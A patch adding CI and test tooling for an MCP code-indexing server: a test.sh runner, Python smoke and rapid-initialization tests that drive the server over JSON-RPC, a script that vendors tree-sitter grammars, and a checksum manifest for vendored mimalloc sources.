--suites|--suites=*) ;; # already handled (value skipped via prev_arg below)
|
||||
BUILD_DIR=*) BUILD_DIR="${arg#BUILD_DIR=}"; MAKE_ARGS+=("$arg") ;;
|
||||
SANITIZE=*) SANITIZE_GIVEN=1; MAKE_ARGS+=("$arg") ;;
|
||||
*=*)
|
||||
if [[ "${prev_arg:-}" != "--suites" ]]; then
|
||||
MAKE_ARGS+=("$arg") # forward any VAR=VAL to make
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
prev_arg="$arg"
|
||||
done
|
||||
|
||||
# Platform default absorbed FROM CI (previously inline in _test.yml, so the
|
||||
# local arm64 leg silently built without it — that divergence is why the SQLite
|
||||
# page-cache misalignment was fatal only on the windows-11-arm runner): native
|
||||
# ARM64 Windows has no ASan runtime, so its sanitizer gate is UBSan in trap
|
||||
# mode + stack protector. Applied here, once, for every venue; an explicit
|
||||
# SANITIZE=... (or SANITIZE=) argument overrides.
|
||||
if [ "$SANITIZE_GIVEN" -eq 0 ] && [ "${MSYSTEM:-}" = "CLANGARM64" ]; then
|
||||
MAKE_ARGS+=("SANITIZE=-fsanitize=undefined -fsanitize-trap=undefined -fstack-protector-strong -fno-omit-frame-pointer")
|
||||
fi
|
||||
|
||||
print_env "test.sh"
|
||||
|
||||
# ── TSan mode (--tsan): the data-race gate ──
|
||||
# One entry for every venue: CI's tsan jobs and the compose test-tsan service
|
||||
# both run this instead of carrying their own make invocation.
|
||||
if [ "$TSAN" -eq 1 ]; then
|
||||
echo "=== test.sh: TSan leg (make test-tsan) ==="
|
||||
make -j"$NPROC" -f Makefile.cbm "$BUILD_DIR/test-runner-tsan" ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
|
||||
make -f Makefile.cbm test-tsan ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
|
||||
exit "$?"
|
||||
fi
|
||||
|
||||
# ── Iteration mode (--suites): incremental rebuild + subset run ──
|
||||
# The documented fast path: no clean, no contract steps, no prod-binary
|
||||
# guards — those all still gate every merge through the default full run.
|
||||
if [ -n "$SUITES" ]; then
|
||||
echo "=== test.sh: ITERATION mode — suites: $SUITES (incremental build) ==="
|
||||
make -j"$NPROC" -f Makefile.cbm "$BUILD_DIR/test-runner" ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
|
||||
# shellcheck disable=SC2086 # suite list is deliberately word-split
|
||||
"$BUILD_DIR/test-runner" $SUITES
|
||||
exit "$?"
|
||||
fi
|
||||
|
||||
# Step 0: fast build/security harness regressions run before the compiler-heavy
|
||||
# suite. The Windows package surface is static here; native launcher behavior is
|
||||
# exercised by scripts/test-windows.ps1.
|
||||
echo "=== Step 0a: build directory safety contract ==="
|
||||
bash "$ROOT/tests/test_build_dir_safety.sh"
|
||||
|
||||
echo "=== Step 0b: Windows VM worktree sync contract ==="
|
||||
bash "$ROOT/tests/test_vm_worktree_manifest.sh"
|
||||
|
||||
echo "=== Step 0c: UI development proxy security contract ==="
|
||||
bash "$ROOT/tests/test_ui_dev_proxy_security.sh"
|
||||
|
||||
echo "=== Step 0d: daemon soak recovery contract ==="
|
||||
bash "$ROOT/tests/test_soak_daemon_recovery_contract.sh"
|
||||
|
||||
echo "=== Step 0e: Windows launcher bundle contract ==="
|
||||
bash "$ROOT/tests/test_windows_bundle_contract.sh"
|
||||
|
||||
echo "=== Step 0f: tree-sitter runtime Makefile dependencies ==="
|
||||
bash "$ROOT/tests/test_makefile_ts_runtime_dependencies.sh"
|
||||
|
||||
echo "=== Step 0g: security fuzz harness self-test ==="
|
||||
bash "$ROOT/tests/test_security_fuzz_harness.sh"
|
||||
|
||||
echo "=== Step 0h: smoke release-fixture contract ==="
|
||||
bash "$ROOT/tests/test_smoke_fixture_contract.sh"
|
||||
|
||||
echo "=== Step 0i: parallel suite scheduler contract ==="
|
||||
bash "$ROOT/tests/test_parallel_harness_contract.sh"
|
||||
|
||||
echo "=== Step 0j: venue parity contract (one harness, every venue) ==="
|
||||
bash "$ROOT/tests/test_venue_parity_contract.sh"
|
||||
|
||||
# Verify compiler supports target arch
|
||||
verify_compiler "$CC"
|
||||
|
||||
# Step 1: Clean (scoped to this leg's build directory)
|
||||
BUILD_DIR="$BUILD_DIR" scripts/clean.sh
|
||||
|
||||
# Step 2 + 3: Build, then run every suite as parallel processes (identical
|
||||
# gate quality — see the ZERO-LOSS CONTRACT in scripts/run-tests-parallel.sh:
|
||||
# the suite set is enumerated from the runner itself and union-guarded, and
|
||||
# pass/fail/skip totals aggregate to the same numbers as the sequential run).
|
||||
# CBM_TEST_SEQUENTIAL=1 restores the single-process runner.
|
||||
make -j"$NPROC" -f Makefile.cbm "$BUILD_DIR/test-runner" ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
|
||||
if [ "${CBM_TEST_SEQUENTIAL:-0}" = "1" ]; then
|
||||
make -f Makefile.cbm test ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
|
||||
else
|
||||
make -f Makefile.cbm test-par ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
|
||||
fi
|
||||
|
||||
# Step 4: C++ large-TU index-hang regression guard (#410). Runs the PROD binary
|
||||
# in a subprocess with a wall-clock timeout — a hang must fail, not block the run.
|
||||
# Opt-in via CBM_RUN_HANG_TEST=1 (it needs the prod binary, which the ASan unit
|
||||
# run above does not build). Skipped by default so the fast unit run stays fast.
|
||||
if [ "${CBM_RUN_HANG_TEST:-0}" = "1" ]; then
|
||||
echo "=== Step 4: C++ index-hang regression (#410) ==="
|
||||
bash "$ROOT/tests/test_cpp_index_hang.sh"
|
||||
fi
|
||||
|
||||
# Step 5: Parent-death watchdog regression (#406/#407). Builds the prod stdio
|
||||
# binary and verifies it self-exits when its launching parent is killed.
|
||||
#
|
||||
# TEST_SEAMS=1: the worker-mode leg below needs the crash-orphan probe, which is
|
||||
# compiled out of ordinary builds (it forks a SIGTERM-ignoring child — see
|
||||
# src/main.c). Requesting it HERE, in the leg that consumes it, is what keeps
|
||||
# release artifacts free of it; scripts/ci/check-binary-composition.sh proves
|
||||
# they stay that way.
|
||||
echo "=== Step 5: parent-death watchdog regression (#406/#407) ==="
|
||||
make -j"$NPROC" -f Makefile.cbm cbm TEST_SEAMS=1 ${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}
|
||||
WATCHDOG_BINARY="$ROOT/$BUILD_DIR/codebase-memory-mcp"
|
||||
CBM_TEST_BINARY="$WATCHDOG_BINARY" bash "$ROOT/tests/test_parent_watchdog.sh"
|
||||
|
||||
# Step 5b: worker-mode parent-death watchdog (#845). A supervised index worker
|
||||
# (`cli --index-worker …`) whose supervisor dies must self-exit instead of
|
||||
# indexing on as an orphan. Reuses the prod binary built in Step 5.
|
||||
echo "=== Step 5b: worker-mode watchdog regression (#845) ==="
|
||||
CBM_TEST_BINARY="$WATCHDOG_BINARY" bash "$ROOT/tests/test_worker_watchdog.sh"
|
||||
|
||||
# Step 6: security-strings URL allow-list regression. The MSYS2 CLANG64 toolchain
|
||||
# bakes its package-tracker URL into the static Windows .exe; the binary string
|
||||
# audit must allow-list it (Windows-only — Linux smoke never saw it).
|
||||
echo "=== Step 6: security-strings allow-list regression ==="
|
||||
bash "$ROOT/tests/test_security_strings_allowlist.sh"
|
||||
|
||||
echo "=== All tests passed ==="
|
||||
@@ -0,0 +1,412 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Bounded interactive MCP smoke scenarios.
|
||||
|
||||
Unlike a regular-file fixture, this keeps stdin open while each potentially
|
||||
long-running request completes. That models a standing coding-agent session
|
||||
and prevents EOF/session cancellation from racing the response assertions.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import queue
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from typing import Any, BinaryIO, Optional
|
||||
|
||||
|
||||
INITIALIZE_PARAMS = {
|
||||
"protocolVersion": "2024-11-05",
|
||||
"capabilities": {},
|
||||
"clientInfo": {"name": "interactive-smoke", "version": "1.0"},
|
||||
}
|
||||
|
||||
|
||||
class SmokeFailure(RuntimeError):
|
||||
pass
|
||||
|
||||
|
||||
def mcp_command(binary: str) -> list[str]:
|
||||
"""Select a direct product launch or an explicit Windows shebang runner."""
|
||||
if os.name != "nt":
|
||||
return [binary]
|
||||
try:
|
||||
with open(binary, "rb") as stream:
|
||||
shebang = stream.read(2) == b"#!"
|
||||
except OSError:
|
||||
return [binary]
|
||||
if not shebang:
|
||||
return [binary]
|
||||
bash = shutil.which("bash")
|
||||
if not bash:
|
||||
raise SmokeFailure("Windows shebang MCP fixture requires bash on PATH")
|
||||
return [bash, binary]
|
||||
|
||||
|
||||
def read_json_lines(
|
||||
stream: BinaryIO,
|
||||
responses: "queue.Queue[dict[str, Any]]",
|
||||
transcript: list[dict[str, Any]],
|
||||
) -> None:
|
||||
for raw_line in iter(stream.readline, b""):
|
||||
try:
|
||||
message = json.loads(raw_line.decode("utf-8"))
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
continue
|
||||
if isinstance(message, dict):
|
||||
transcript.append(message)
|
||||
responses.put(message)
|
||||
|
||||
|
||||
def drain(stream: BinaryIO, chunks: list[bytes]) -> None:
|
||||
for chunk in iter(lambda: stream.read(8192), b""):
|
||||
chunks.append(chunk)
|
||||
|
||||
|
||||
def cache_log_tail(name: str, limit: int = 16384) -> str:
|
||||
cache_dir = os.environ.get("CBM_CACHE_DIR")
|
||||
if not cache_dir:
|
||||
return ""
|
||||
path = os.path.join(cache_dir, "logs", name)
|
||||
try:
|
||||
with open(path, "rb") as stream:
|
||||
stream.seek(0, os.SEEK_END)
|
||||
size = stream.tell()
|
||||
stream.seek(max(0, size - limit), os.SEEK_SET)
|
||||
return stream.read(limit).decode("utf-8", errors="replace")
|
||||
except OSError:
|
||||
return ""
|
||||
|
||||
|
||||
def send(process: subprocess.Popen[bytes], message: dict[str, Any]) -> None:
|
||||
if process.stdin is None:
|
||||
raise SmokeFailure("MCP stdin is unavailable")
|
||||
encoded = json.dumps(message, separators=(",", ":")).encode("utf-8") + b"\n"
|
||||
try:
|
||||
process.stdin.write(encoded)
|
||||
process.stdin.flush()
|
||||
except (BrokenPipeError, OSError) as error:
|
||||
raise SmokeFailure("MCP server closed stdin early") from error
|
||||
|
||||
|
||||
def wait_response(
|
||||
process: subprocess.Popen[bytes],
|
||||
responses: "queue.Queue[dict[str, Any]]",
|
||||
request_id: int,
|
||||
timeout: float,
|
||||
accept_tool_error: bool = False,
|
||||
) -> dict[str, Any]:
|
||||
deadline = time.monotonic() + timeout
|
||||
while True:
|
||||
if process.poll() is not None and responses.empty():
|
||||
raise SmokeFailure(
|
||||
f"MCP server exited {process.returncode} before response id={request_id}"
|
||||
)
|
||||
try:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise queue.Empty
|
||||
message = responses.get(timeout=remaining)
|
||||
except queue.Empty as error:
|
||||
raise SmokeFailure(f"timed out waiting for MCP response id={request_id}") from error
|
||||
if message.get("id") != request_id:
|
||||
continue
|
||||
if "result" not in message and "error" not in message:
|
||||
# An echoed request is not a JSON-RPC response and must never count
|
||||
# as proof that the server dispatched the request.
|
||||
continue
|
||||
if "error" in message:
|
||||
raise SmokeFailure(
|
||||
f"MCP response id={request_id} returned JSON-RPC error: {message['error']!r}"
|
||||
)
|
||||
result = message.get("result")
|
||||
if (
|
||||
isinstance(result, dict)
|
||||
and result.get("isError") is True
|
||||
and not accept_tool_error
|
||||
):
|
||||
rendered = json.dumps(message, separators=(",", ":"), ensure_ascii=False)
|
||||
raise SmokeFailure(
|
||||
f"MCP tool response id={request_id} reported isError=true: {rendered}"
|
||||
)
|
||||
return message
|
||||
|
||||
|
||||
def request(
|
||||
process: subprocess.Popen[bytes],
|
||||
responses: "queue.Queue[dict[str, Any]]",
|
||||
request_id: int,
|
||||
method: str,
|
||||
params: dict[str, Any],
|
||||
timeout: float,
|
||||
accept_tool_error: bool = False,
|
||||
) -> dict[str, Any]:
|
||||
send(
|
||||
process,
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": request_id,
|
||||
"method": method,
|
||||
"params": params,
|
||||
},
|
||||
)
|
||||
return wait_response(process, responses, request_id, timeout, accept_tool_error)
|
||||
|
||||
|
||||
def grouped_search_qualified_name(
|
||||
structured: Any, expected_name: str
|
||||
) -> Optional[str]:
|
||||
"""Extract a qualified name from search_graph's grouped JSON tree."""
|
||||
if not isinstance(structured, dict):
|
||||
return None
|
||||
columns = structured.get("cols")
|
||||
groups = structured.get("groups")
|
||||
if not isinstance(columns, list) or not isinstance(groups, list):
|
||||
return None
|
||||
try:
|
||||
name_column = columns.index("name")
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
for group in groups:
|
||||
if not isinstance(group, dict):
|
||||
return None
|
||||
prefix = group.get("qn_prefix")
|
||||
rows = group.get("rows")
|
||||
if not isinstance(prefix, str) or not isinstance(rows, list):
|
||||
return None
|
||||
for row in rows:
|
||||
if not isinstance(row, list) or name_column >= len(row):
|
||||
return None
|
||||
name = row[name_column]
|
||||
if not isinstance(name, str):
|
||||
return None
|
||||
if name == expected_name:
|
||||
return f"{prefix}.{name}" if prefix else name
|
||||
return None
|
||||
|
||||
|
||||
def run_scenario(
|
||||
process: subprocess.Popen[bytes],
|
||||
responses: "queue.Queue[dict[str, Any]]",
|
||||
scenario: str,
|
||||
repo_path: str,
|
||||
timeout: float,
|
||||
) -> None:
|
||||
request(process, responses, 1, "initialize", INITIALIZE_PARAMS, timeout)
|
||||
send(
|
||||
process,
|
||||
{"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}},
|
||||
)
|
||||
if scenario == "initialize":
|
||||
return
|
||||
if scenario == "invalid-index":
|
||||
invalid_index_response = request(
|
||||
process,
|
||||
responses,
|
||||
2,
|
||||
"tools/call",
|
||||
{
|
||||
"name": "index_repository",
|
||||
"arguments": {"repo_path": repo_path, "mode": "fast"},
|
||||
},
|
||||
timeout,
|
||||
accept_tool_error=True,
|
||||
)
|
||||
invalid_index_result = invalid_index_response.get("result")
|
||||
if (
|
||||
not isinstance(invalid_index_result, dict)
|
||||
or invalid_index_result.get("isError") is not True
|
||||
):
|
||||
raise SmokeFailure("index_repository unexpectedly accepted a nonexistent path")
|
||||
request(process, responses, 3, "ping", {}, timeout)
|
||||
return
|
||||
index_response = request(
|
||||
process,
|
||||
responses,
|
||||
2,
|
||||
"tools/call",
|
||||
{
|
||||
"name": "index_repository",
|
||||
"arguments": {"repo_path": repo_path, "mode": "fast"},
|
||||
},
|
||||
timeout,
|
||||
)
|
||||
index_result = index_response.get("result")
|
||||
structured = index_result.get("structuredContent") if isinstance(index_result, dict) else None
|
||||
project = structured.get("project") if isinstance(structured, dict) else None
|
||||
if not isinstance(project, str) or not project:
|
||||
raise SmokeFailure("index_repository response did not identify the indexed project")
|
||||
if scenario == "roundtrip":
|
||||
request(
|
||||
process,
|
||||
responses,
|
||||
3,
|
||||
"tools/call",
|
||||
{
|
||||
"name": "search_graph",
|
||||
"arguments": {"project": project, "name_pattern": "compute"},
|
||||
},
|
||||
timeout,
|
||||
)
|
||||
return
|
||||
request(
|
||||
process,
|
||||
responses,
|
||||
3,
|
||||
"tools/call",
|
||||
{
|
||||
"name": "search_code",
|
||||
"arguments": {
|
||||
"project": project,
|
||||
"pattern": "compute",
|
||||
"mode": "compact",
|
||||
"limit": 3,
|
||||
},
|
||||
},
|
||||
timeout,
|
||||
)
|
||||
discovery_response = request(
|
||||
process,
|
||||
responses,
|
||||
4,
|
||||
"tools/call",
|
||||
{
|
||||
"name": "search_graph",
|
||||
"arguments": {
|
||||
"project": project,
|
||||
"name_pattern": "compute",
|
||||
"format": "json",
|
||||
"limit": 1,
|
||||
},
|
||||
},
|
||||
timeout,
|
||||
)
|
||||
discovery_result = discovery_response.get("result")
|
||||
discovery_structured = (
|
||||
discovery_result.get("structuredContent")
|
||||
if isinstance(discovery_result, dict)
|
||||
else None
|
||||
)
|
||||
qualified_name = grouped_search_qualified_name(discovery_structured, "compute")
|
||||
if not qualified_name:
|
||||
raise SmokeFailure("search_graph did not discover compute's qualified name")
|
||||
request(
|
||||
process,
|
||||
responses,
|
||||
5,
|
||||
"tools/call",
|
||||
{
|
||||
"name": "get_code_snippet",
|
||||
"arguments": {"project": project, "qualified_name": qualified_name},
|
||||
},
|
||||
timeout,
|
||||
)
|
||||
|
||||
|
||||
def stop_process(process: subprocess.Popen[bytes]) -> None:
|
||||
if process.poll() is not None:
|
||||
return
|
||||
process.terminate()
|
||||
try:
|
||||
process.wait(timeout=2)
|
||||
except subprocess.TimeoutExpired:
|
||||
process.kill()
|
||||
process.wait(timeout=2)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("binary")
|
||||
parser.add_argument(
|
||||
"--scenario",
|
||||
choices=("initialize", "invalid-index", "roundtrip", "advanced"),
|
||||
required=True,
|
||||
)
|
||||
parser.add_argument("--repo-path", required=True)
|
||||
parser.add_argument("--response-timeout", type=float, default=45.0)
|
||||
parser.add_argument("--exit-timeout", type=float, default=15.0)
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
command = mcp_command(args.binary)
|
||||
process = subprocess.Popen(
|
||||
command,
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
bufsize=0,
|
||||
)
|
||||
except (OSError, SmokeFailure) as error:
|
||||
print(f"FAIL: could not start MCP server: {error}", file=sys.stderr)
|
||||
return 1
|
||||
assert process.stdout is not None
|
||||
assert process.stderr is not None
|
||||
responses: "queue.Queue[dict[str, Any]]" = queue.Queue()
|
||||
transcript: list[dict[str, Any]] = []
|
||||
stderr_chunks: list[bytes] = []
|
||||
stdout_thread = threading.Thread(
|
||||
target=read_json_lines,
|
||||
args=(process.stdout, responses, transcript),
|
||||
daemon=True,
|
||||
)
|
||||
stderr_thread = threading.Thread(
|
||||
target=drain, args=(process.stderr, stderr_chunks), daemon=True
|
||||
)
|
||||
stdout_thread.start()
|
||||
stderr_thread.start()
|
||||
|
||||
try:
|
||||
run_scenario(
|
||||
process,
|
||||
responses,
|
||||
args.scenario,
|
||||
args.repo_path,
|
||||
args.response_timeout,
|
||||
)
|
||||
assert process.stdin is not None
|
||||
process.stdin.close()
|
||||
try:
|
||||
return_code = process.wait(timeout=args.exit_timeout)
|
||||
except subprocess.TimeoutExpired as error:
|
||||
raise SmokeFailure("MCP server did not exit after interactive stdin EOF") from error
|
||||
if return_code != 0:
|
||||
raise SmokeFailure(f"MCP server exited nonzero after completed session: {return_code}")
|
||||
stdout_thread.join(timeout=2)
|
||||
stderr_thread.join(timeout=2)
|
||||
for message in transcript:
|
||||
print(json.dumps(message, separators=(",", ":"), ensure_ascii=False))
|
||||
return 0
|
||||
except SmokeFailure as error:
|
||||
stop_process(process)
|
||||
stderr = b"".join(stderr_chunks).decode("utf-8", errors="replace")
|
||||
daemon_log = cache_log_tail("cbm-daemon.log")
|
||||
conflicts = cache_log_tail("daemon-conflicts.ndjson")
|
||||
print(f"FAIL: {error}", file=sys.stderr)
|
||||
if stderr:
|
||||
print("--- MCP stderr ---", file=sys.stderr)
|
||||
print(stderr, file=sys.stderr, end="" if stderr.endswith("\n") else "\n")
|
||||
if daemon_log:
|
||||
print("--- daemon log (tail) ---", file=sys.stderr)
|
||||
print(
|
||||
daemon_log,
|
||||
file=sys.stderr,
|
||||
end="" if daemon_log.endswith("\n") else "\n",
|
||||
)
|
||||
if conflicts:
|
||||
print("--- daemon-conflicts.ndjson (tail) ---", file=sys.stderr)
|
||||
print(
|
||||
conflicts,
|
||||
file=sys.stderr,
|
||||
end="" if conflicts.endswith("\n") else "\n",
|
||||
)
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,98 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Integration test for the poll/getline FILE* buffering fix.
|
||||
|
||||
Spawns the MCP server binary, sends initialize + notifications/initialized +
|
||||
tools/list all at once (no delays), and asserts that the tools/list response
|
||||
arrives within 5 seconds.
|
||||
|
||||
Usage:
|
||||
python3 scripts/test_mcp_rapid_init.py [/path/to/binary]
|
||||
|
||||
Exit codes:
|
||||
0 - PASS
|
||||
1 - FAIL
|
||||
"""
|
||||
|
||||
import subprocess
|
||||
import sys
|
||||
import os
|
||||
|
||||
TIMEOUT_S = 5
|
||||
|
||||
MESSAGES = (
|
||||
b'{"jsonrpc":"2.0","id":1,"method":"initialize",'
|
||||
b'"params":{"protocolVersion":"2025-11-25","capabilities":{}}}\n'
|
||||
b'{"jsonrpc":"2.0","method":"notifications/initialized"}\n'
|
||||
b'{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}\n'
|
||||
)
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) >= 2:
|
||||
binary = sys.argv[1]
|
||||
else:
|
||||
# Default: look for build artifact relative to this script's directory
|
||||
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
repo_root = os.path.dirname(script_dir)
|
||||
binary = os.path.join(repo_root, "build", "c", "codebase-memory-mcp")
|
||||
|
||||
if not os.path.isfile(binary):
|
||||
print(f"FAIL: binary not found at {binary}")
|
||||
sys.exit(1)
|
||||
|
||||
if not os.access(binary, os.X_OK):
|
||||
print(f"FAIL: binary not executable: {binary}")
|
||||
sys.exit(1)
|
||||
|
||||
proc = subprocess.Popen(
|
||||
[binary],
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
|
||||
try:
|
||||
# Write all 3 messages in one call and close stdin to signal EOF
|
||||
stdout_data, _ = proc.communicate(input=MESSAGES, timeout=TIMEOUT_S)
|
||||
except subprocess.TimeoutExpired:
|
||||
proc.kill()
|
||||
proc.wait()
|
||||
print(
|
||||
f"FAIL: server did not respond within {TIMEOUT_S}s "
|
||||
f"(poll/getline buffering bug not fixed)"
|
||||
)
|
||||
sys.exit(1)
|
||||
|
||||
output = stdout_data.decode("utf-8", errors="replace")
|
||||
|
||||
# Expect exactly 2 JSON responses: id:1 (initialize) and id:2 (tools/list).
|
||||
# notifications/initialized has no id and produces no response.
|
||||
lines = [ln.strip() for ln in output.splitlines() if ln.strip()]
|
||||
import json as _json
|
||||
json_lines = []
|
||||
for ln in lines:
|
||||
try:
|
||||
json_lines.append(_json.loads(ln))
|
||||
except _json.JSONDecodeError:
|
||||
pass
|
||||
|
||||
ids = {obj.get("id") for obj in json_lines if "id" in obj}
|
||||
if 1 not in ids:
|
||||
print("FAIL: missing initialize response (id:1) in server output")
|
||||
print(f"Server output was:\n{output!r}")
|
||||
sys.exit(1)
|
||||
if 2 not in ids:
|
||||
print("FAIL: missing tools/list response (id:2) in server output")
|
||||
print(f"Server output was:\n{output!r}")
|
||||
sys.exit(1)
|
||||
if "tools" not in output:
|
||||
print("FAIL: tools/list response body missing 'tools' key")
|
||||
print(f"Server output was:\n{output!r}")
|
||||
sys.exit(1)
|
||||
|
||||
print("PASS")
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,90 @@
|
||||
#!/usr/bin/env bash
|
||||
# vendor-grammar.sh: Vendor a single tree-sitter grammar into internal/cbm/vendored/grammars/<name>/
|
||||
# Usage: ./scripts/vendor-grammar.sh <repo_url> <name> [subdir]
|
||||
# repo_url: GitHub repository URL (e.g., https://github.com/tree-sitter/tree-sitter-json)
|
||||
# name: Target directory name (e.g., json)
|
||||
# subdir: Optional subdirectory within repo containing src/ (e.g., "fsharp" for monorepo grammars)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
REPO_URL="$1"
|
||||
NAME="$2"
|
||||
SUBDIR="${3:-}"
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
PROJECT_DIR="$(dirname "$SCRIPT_DIR")"
|
||||
GRAMMAR_DIR="$PROJECT_DIR/internal/cbm/vendored/grammars/$NAME"
|
||||
TMPDIR="$(mktemp -d)"
|
||||
|
||||
trap 'rm -rf "$TMPDIR"' EXIT
|
||||
|
||||
echo "Vendoring $NAME from $REPO_URL..."
|
||||
|
||||
git clone --depth 1 "$REPO_URL" "$TMPDIR/repo" 2>/dev/null
|
||||
|
||||
SRC_DIR="$TMPDIR/repo/src"
|
||||
if [ -n "$SUBDIR" ]; then
|
||||
SRC_DIR="$TMPDIR/repo/$SUBDIR/src"
|
||||
fi
|
||||
|
||||
if [ ! -f "$SRC_DIR/parser.c" ]; then
|
||||
echo "ERROR: $SRC_DIR/parser.c not found" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mkdir -p "$GRAMMAR_DIR/tree_sitter"
|
||||
|
||||
cp "$SRC_DIR/parser.c" "$GRAMMAR_DIR/"
|
||||
|
||||
if [ -f "$SRC_DIR/scanner.c" ]; then
|
||||
cp "$SRC_DIR/scanner.c" "$GRAMMAR_DIR/"
|
||||
fi
|
||||
if [ -f "$SRC_DIR/scanner.cc" ]; then
|
||||
echo "WARNING: $NAME has C++ scanner (scanner.cc) — needs special handling" >&2
|
||||
fi
|
||||
|
||||
# Copy tree_sitter headers
|
||||
if [ -d "$SRC_DIR/tree_sitter" ]; then
|
||||
cp "$SRC_DIR/tree_sitter/"*.h "$GRAMMAR_DIR/tree_sitter/" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# Copy any extra headers (.h, .inc files) used by scanners
|
||||
# Examples: tag.h (Vue/Svelte/Astro), unicode.h (PureScript/Typst),
|
||||
# TokenTree.h/.inc (VHDL)
|
||||
for f in "$SRC_DIR"/*.h "$SRC_DIR"/*.inc; do
|
||||
[ -f "$f" ] && cp "$f" "$GRAMMAR_DIR/"
|
||||
done
|
||||
# Copy common/ subdirectory if present (e.g., F# scanner uses common/scanner.h)
|
||||
if [ -d "$SRC_DIR/common" ]; then
|
||||
cp -r "$SRC_DIR/common" "$GRAMMAR_DIR/"
|
||||
fi
|
||||
|
||||
# Copy LICENSE file from upstream repo
|
||||
REPO_ROOT="$TMPDIR/repo"
|
||||
if [ -n "$SUBDIR" ]; then
|
||||
# For monorepos, check subdir first, then repo root
|
||||
if [ -f "$REPO_ROOT/$SUBDIR/LICENSE" ]; then
|
||||
cp "$REPO_ROOT/$SUBDIR/LICENSE" "$GRAMMAR_DIR/LICENSE"
|
||||
elif [ -f "$REPO_ROOT/LICENSE" ]; then
|
||||
cp "$REPO_ROOT/LICENSE" "$GRAMMAR_DIR/LICENSE"
|
||||
elif [ -f "$REPO_ROOT/LICENSE.md" ]; then
|
||||
cp "$REPO_ROOT/LICENSE.md" "$GRAMMAR_DIR/LICENSE"
|
||||
elif [ -f "$REPO_ROOT/COPYING" ]; then
|
||||
cp "$REPO_ROOT/COPYING" "$GRAMMAR_DIR/LICENSE"
|
||||
else
|
||||
echo "WARNING: No LICENSE file found for $NAME" >&2
|
||||
fi
|
||||
else
|
||||
if [ -f "$REPO_ROOT/LICENSE" ]; then
|
||||
cp "$REPO_ROOT/LICENSE" "$GRAMMAR_DIR/LICENSE"
|
||||
elif [ -f "$REPO_ROOT/LICENSE.md" ]; then
|
||||
cp "$REPO_ROOT/LICENSE.md" "$GRAMMAR_DIR/LICENSE"
|
||||
elif [ -f "$REPO_ROOT/COPYING" ]; then
|
||||
cp "$REPO_ROOT/COPYING" "$GRAMMAR_DIR/LICENSE"
|
||||
else
|
||||
echo "WARNING: No LICENSE file found for $NAME" >&2
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "Vendored $NAME to $GRAMMAR_DIR"
|
||||
ls -la "$GRAMMAR_DIR/"
|
||||
@@ -0,0 +1,75 @@
|
||||
dd4f25cae53209d45d73f8e6a2b9c219e8fc7434d97f20eba9af1a8b850030fd vendored/mimalloc/include/mimalloc-new-delete.h
|
||||
21fcf61c4443341ac6bf6ea528af31dc7267e8e3456fc64bfd07704503032175 vendored/mimalloc/include/mimalloc-override.h
|
||||
5260df227ea1612b8678a06b063cc8f48e739b551554541cdeb4d430a7e257b3 vendored/mimalloc/include/mimalloc-stats.h
|
||||
869161433ab2d807a75752d0762accf5b68b6b24ce67e417af46bf181b9b6c72 vendored/mimalloc/include/mimalloc.h
|
||||
e9512b521a82cc0cbc262f6060dd70bb4243ac4a7d69d6ab8b1ef8e56f181a21 vendored/mimalloc/include/mimalloc/atomic.h
|
||||
57a7297e18ae464a7bfd3fc25a46229008602385697305c69ed289b89ece7631 vendored/mimalloc/include/mimalloc/bits.h
|
||||
5aeeff21d667daf4aadcc66f634aa957ecd688d15b277828f367c8c2274251a8 vendored/mimalloc/include/mimalloc/internal.h
|
||||
555302d2fcd05e974441d0c9c9208c26e860db4b3f17b9025a08f42e0f4807ba vendored/mimalloc/include/mimalloc/prim.h
|
||||
1f378b4b6063c078d2aeb5d916c1d30b5db787a44ab9118e7daf673b086882c6 vendored/mimalloc/include/mimalloc/track.h
|
||||
b54e760da2a8d9d8a9cb708e280268c2d194c99bc518b21f72db70100578ad6a vendored/mimalloc/include/mimalloc/types.h
|
||||
70420b4430da4bb6b5197fd27c6c0df485249c53a986bc9536c9fb643fc7613b vendored/mimalloc/src/alloc-aligned.c
|
||||
6c8e9b0d042481c55791edb7330daec64bedaf26f0e70c9ca40de3cc17a690fe vendored/mimalloc/src/alloc-override.c
|
||||
98d0eb877d7b9cdf7e9f857aaf3c739b69f746b91221e0e427e82bdd7cec90b3 vendored/mimalloc/src/alloc-posix.c
|
||||
